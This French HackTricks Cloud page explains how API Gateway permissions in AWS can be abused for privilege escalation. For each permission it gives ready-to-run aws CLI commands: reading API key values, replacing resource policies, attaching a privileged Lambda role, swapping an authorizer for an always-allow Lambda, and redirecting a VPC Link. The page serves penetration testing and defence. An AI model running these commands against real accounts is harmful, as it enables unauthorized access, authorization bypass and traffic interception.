AWS - Apigateway Privesc
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Apigateway
Pour plus dâinformations, consultez:
apigateway:POST
Avec cette permission, vous pouvez générer des API keys des APIs configurées (par région).
aws --region <region> apigateway create-api-key
Impact potentiel : Vous ne pouvez pas privesc avec cette technique mais vous pourriez obtenir lâaccĂšs Ă des informations sensibles.
apigateway:GET
Avec cette permission, vous pouvez récupérer les API keys générées des APIs configurées (par région).
aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value
Impact potentiel : Vous ne pouvez pas privesc avec cette technique mais vous pourriez obtenir lâaccĂšs Ă des informations sensibles.
apigateway:UpdateRestApiPolicy, apigateway:PATCH
Avec ces autorisations, il est possible de modifier la resource policy dâune API pour vous autoriser Ă lâappeler et dâabuser dâun accĂšs potentiel que lâAPI gateway pourrait avoir (par exemple en invoquant une lambda vulnĂ©rable).
aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
Potential Impact: Vous, en gĂ©nĂ©ral, ne pourrez pas privesc directement avec cette technique, mais vous pourriez obtenir lâaccĂšs Ă des informations sensibles.
apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole
Note
Nécessite des tests
Un attaquant disposant des permissions apigateway:PutIntegration, apigateway:CreateDeployment, et iam:PassRole peut ajouter une nouvelle integration Ă un API Gateway REST API existant avec une fonction Lambda qui a un IAM role attachĂ©. Lâattaquant peut ensuite dĂ©clencher la fonction Lambda pour exĂ©cuter du code arbitraire et potentiellement accĂ©der aux ressources associĂ©es au IAM role.
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"
# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Impact potentiel: AccÚs aux ressources associées au rÎle IAM de la fonction Lambda.
apigateway:UpdateAuthorizer, apigateway:CreateDeployment
Note
Nécessite des tests
Un attaquant disposant des permissions apigateway:UpdateAuthorizer et apigateway:CreateDeployment peut modifier un authorizer existant dâAPI Gateway pour contourner les contrĂŽles de sĂ©curitĂ© (par ex. le rediriger vers une Lambda qui renvoie toujours âallowâ) ou pour exĂ©cuter du code arbitraire lorsque des requĂȘtes API sont effectuĂ©es.
API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Impact potentiel : Contournement des contrÎles de sécurité, accÚs non autorisé aux ressources API.
HTTP APIs / variante apigatewayv2
Pour les HTTP APIs (API Gateway v2), lâopĂ©ration Ă©quivalente consiste Ă mettre Ă jour lâauthorizer via apigatewayv2 :
REGION="us-east-1"
API_ID="<http_api_id>"
AUTHORIZER_ID="<authorizer_id>"
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
apigateway:UpdateVpcLink
Note
Nécessite des tests
Un attaquant disposant de lâautorisation apigateway:UpdateVpcLink peut modifier un VPC Link existant pour le pointer vers un autre Network Load Balancer, redirigeant potentiellement le trafic API privĂ© vers des ressources non autorisĂ©es ou malveillantes.
VPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"
Impact potentiel: AccÚs non autorisé à des ressources API privées, interception ou perturbation du trafic API.
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

